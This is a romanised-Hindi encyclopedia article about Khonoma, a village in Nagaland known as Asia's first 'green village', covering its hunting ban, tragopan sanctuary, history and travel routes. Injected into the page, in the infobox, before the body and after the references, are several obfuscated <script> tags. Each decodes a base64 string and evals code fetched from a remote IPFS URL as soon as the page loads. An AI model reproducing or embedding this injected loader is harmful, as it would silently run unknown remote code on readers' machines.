खोनोमा
khonoma
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| vivaran | khonoma eshiya ka pahala ‘grin vilej’ yani 'harit gaanv' hai. is gaanv mean koee bhi vyakti pe d nahian katata aur nahian hi shikar karata hai. |
| rajy | nagalaiand |
| zila | kohima |
| prasiddhi | paryatan sthal |
| kaise pahuanchean | dimapur se kohima phir khonoma. |
| havaee adda | dimapur |
| relave steshan | dimapur |
| any janakari | khonoma mean sab kuchh paryatan par nirbhar hai isalie yahaan toor gaid lena anivary hai. khas bat ye hai ki kaun kab toorist ko ghumane lekar jaega sab pahale se hi nirdharit hai. |
| adyatan | 14:07, 18 sitambar 2023 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>khonoma (aangrezi: Khonoma) nagalaiand ki rajadhani kohima se 20 kilomitar door sthit prakriti se saja ek gaanv hai, jahaan se manamohak dhan ke khet aur hare-bhare jangaloan se dhaki paha diyaan dikhaee deti haian. aksar 'yoddha gaanv' ke roop mean varnit khonoma british aupaniveshik kal ke dauran apane ugr pratirodh ke lie jana jata hai. is gaanv mean bahut sara itihas likha gaya hai. isake alava khonoma vanyajiv sanrakshan mean apani pahal ke lie bhi jana jata hai. san 1998 mean yahaan prakriti sanrakshan aur traigopain abhayarany ki sthapana luptapray blith traigopain aur any vanyajivoan aur durlabh paudhoan ki prajatiyoan ko unake prakritik avas mean bachane ke lie ki gee thi.
grin vilej
bharat ki zyadatar metro sitiz pradooshan aur global v aaurmiang ka shikar haian. rajadhani dilli ne to aisa bhi vakt dekha, jab s dakoan par pradooshan ki ek moti chadar bichhi huee thi aur logoan ka saans lena mushkil ho gaya tha. lekin hamare desh mean hi ek aisi jagah hai, jahaan hariyali hai aur log svachchh hava mean saans le rahe haian. yah sirf bharat hi nahian balki poore eshiya ka pahala ‘grin vilej’ yani 'harit gaanv' hai. is khooboosarat gaanv ka nam hai- 'khonoma'. yah nagalaiand ki rajadhani kohima se 20 kilomitar ki doori par maujood hai. charoan or hariyali se ghira ye gaanv lagabhag 700 sal purana hai. yahaan karib 600 ghar hoange aur lagabhag 3000 ki abadi rahati hai.[1]
n katata hai vriksh aur n hi shikar
charoan or asaman se bate karate hue paha doan ke drishy se kisi ka man oob hi nahian sakata. kisi laiandaskep se kam nahian hai ye eshiya ka grin vilej. khonoma ‘aangami' adivasiyoan ka ghar hai. ye traibal grup apani bahaduri aur marshal arts kaushal ke lie jana jata hai. khonoma gaanv apane hare-bhare jangaloan aur kheti ki paranparik takanik ke lie bhi mashahoor hai. harit gaanv ka m aaudal ban chuka ye gaanv, satat vikas ke sidhantoan ko kee sal pahale hi apana chuka hai. kheti samet is gaanv ne 90 ke dashak mean hi van kataee aur shikar jaisi kriyaoan par pratibandh laga diya.
is gaanv mean koee bhi vyakti pe d nahian katata aur nahian hi shikar karata hai. is adivasi samooh se sikhane ke lie bahut kuchh hai; kyoanki ek samay tha, jab shikar inaki paranpara ka ek aham hissa tha lekin disambar 1998 mean is par poornat: pratibandh ke bad khonoma ka jangal aur 20 varg kilomitar ke kshetr ko gaanv ki panchayat ne ‘khonoma nechar kanzaraveshan eand tragopan saiankchuari nam se alag kar diya. is kadam ko tab uthaya gaya, jab gaanv valoan ne hantiang k aaumpitishan ke chalate ek hafte mean hi karib 300 vilupt hone ki kagar par kh de blith tregopan (Blyth’s Tragopan) ki hatya kar di. itane b de paimane par in pakshiyoan ki hatya ne van jivan sanrakshanavadiyoan aur gaanv ke b de-bujurgoan ko kadam uthane ke lie prerit kiya.
isake khilaf lage bain se gaanv valoan ki jivan-shaili mean bahut badalav aya. shuruat mean tho di parashani jaroor huee thi lekin aj yahaan logoan ne shikar chho d sanrakshan ke raste ko tavajjoan dena sikh liya hai. yahaan lak di ke lie log pe doan ko na katakar sirph unaki shakhaoan ko trim karate haian aur usi se farnichar adi zaroorat ki vastu ka nirman karate haian. vartaman mean khonoma ke nivasi sakriy roop se pe d aur janavaroan ka sanrakshan kar rahe haian. aj yahaan b di sankhya mean toorist ate haian aur log unhean apana gaanv aur paranpara badh-chadh kar dikhate haian. sath hi apane ghar mean rahane ke lie ashray bhi dete haian.[1]
aangrazoan se loha
karib 100 sal pahale aangami adivasiyoan ne aangrazoan se loha liya tha. adhunik hathiyaroan se lais jab british armi ne nagalaiand ke in yoddhaoan par hamala kiya, to inhoanne is hamale ka zabaradast javab diya. traibal grup apani rananitik skils aur marshal arts skil ki badaulat is l daee mean british armi ko bhari nukasan pahuanchaya. sath hi 1830 aur 1880 tak inhoanne british raj ko apane gaanv mean ghusane nahian diya. isake bad bhale hi british apana raj kayam karane mean kamayab ho ge, lekin is samooh ne itihas mean apana nam aur chupachap apani zamin n dene ke lie itihas mean rach diya tha.
kaise pahuanche
khonoma nagalaiand ki rajadhani kohima se achchhi tarah se ju da hua hai. kohima se khonoma sirph 20 kilomitar ki doori par hai. yahaan s dak marg, havaee aur rel marg se asani se pahuanch sakate haian.
s dak marg
yadi khonoma s dak marg se jane ki soch rahe haian to sabase pahale dipamur jayean aur vahaan se kohima. dimapur se kohima ki doori lagabhag 70 ki.mi. hai. lagabhag dhaee ghante ke saphar ke bad kohima pahuanch sakate haian. khonoma gaanv yahaan se lagabhag 20 kilomitar ki doori par hai.
rel marg
yadi khonoma tren se ane ki soch rahe haian to sabase najadiki relave steshan dimapur hai. kee shaharoan se dimapur ke lie ga diyaan chalati haian lekin guvahati se dimapur achchhi tarah se ju da hua hai. dimapur se khonoma ki doori 90 kilomitar hai. dimapur se taiksi buk karake bhi sidhe khonama pahuanch sakate haian.
vayu marg
phlait se a rahe haian to sabase nikatatam eyaraport dimapur hai. dimapur ke lie kee b de shaharoan se phlait mil jaeangi. dimapur se khonoma asani se pahuanch sakate haian.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 eshiya ka pahala grin vilej, nagalaiand ka 'khonoma', jahaan ek bhi pe d nahian kata jata (hiandi) indiatimes.com. abhigaman tithi: 18 sitambar, 2023.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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